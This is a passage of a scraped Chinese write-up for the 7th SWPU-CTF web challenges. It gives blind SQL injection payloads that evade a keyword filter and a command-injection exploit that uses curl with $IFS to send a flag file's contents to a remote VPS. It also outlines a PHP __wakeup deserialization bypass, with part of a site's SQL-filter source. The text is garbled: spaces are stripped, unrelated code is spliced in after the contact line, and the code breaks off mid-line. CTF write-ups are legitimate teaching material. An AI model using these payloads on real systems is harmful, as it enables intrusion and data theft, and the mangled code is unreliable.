CTF攻略:第七届swpu-ctf官方Writeup


作者:08067

预估稿费:300RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linweiprintchr(s)

ifsinrange(97,123):

ifs%2==0:

s=s-i

ifsnotinrange(97,123):

t=97-s

t=123-t

key=key+chr(t)

else:

key=key+chr(s)

else:

s=s+i

ifsnotinrange(97,123):

t=s-122+96

key=key+chr(t)

else:

key=key+chr(s)

else:

、*、union、like、regexp、and、or、|、--、、%0a、%0b、%0c、%0d等,需要想办法用其他操作符连接注入语句和闭合’。

mysql操作符参考:

几个可用的poc:

1

uname='!=!!(ascii(mid((passwd)from(1)))=99)!=!!'1passwd=dddd

1

uname=12'%(ascii(mid((passwd)from(1)))=99)%'1passwd=dddd

1

uname=12'%(ascii(mid((passwd)from(1)))=99)^'1passwd=dddd

1

uname=12'-(length(trim(leading%a0'c12'%a0from%a0passwd))32)-'0passwd=1

来到后台,可以执行命令,但是对反弹shell的一些关键字做了过滤,对空格也做了过滤,只能通过cat读取flag,没又回显,然后打到用远程vps的日志上面

exp:

curl$IFS\vps:1234/`cat$IFS\../../flag`



web200-2

这道题主要是考察了php底层wakeup的一个bug,

这道题根据tips:编辑器,可以考虑到.bak文件泄露

通过发现了,

最后找到了

我们就获得了整道题的代码


我们可以看见了这里通过cookie的登陆

/


其他过滤代码在该文件都可以得到

addslashes_deep()是无法绕过的,我们就只能绕过wakeup

根据那个bug的描述,我们直接进入__destruct(),这里我们取出了$this-name

$this-name是base64decode后,然后反序列化得到的,不用考虑waf等东西

我们看了这里只有一个Checksql($sql)

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

//sql过滤

staticfunctionCheckSql($db_string,$querytype='select')

{

$clean='';

$error='';

$old_pos=0;

$pos=-1;

if($querytype=='select')

{

$notallow1="[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";

if(preg_match("/".$notallow1."/i",$db_string))

{

exit("Error");

}

}

//完整的SQL检查

while(TRUE)

{

$pos=strpos($db_string,'\'',$pos+1);

if($pos===FALSE)

{

break;

}

$clean.=substr($db_string,$old_pos,$pos-$old_pos);

while(TRUE)

{

$pos1=strpos($db_string,'\'',$pos+1);

$pos2=strpos($db_string,'\\',$pos+1);

if($pos1===FALSE)

{

break;

}

elseif($pos2==FALSE||$pos2$pos1)

{

$pos=$pos1;

break;

}

$pos=$pos2+1;

}

$clean.='$s

免责声明:本文章如果文章侵权,请联系我们处理,本站仅提供信息存储空间服务如因作品内容、版权和其他问题请于本站联系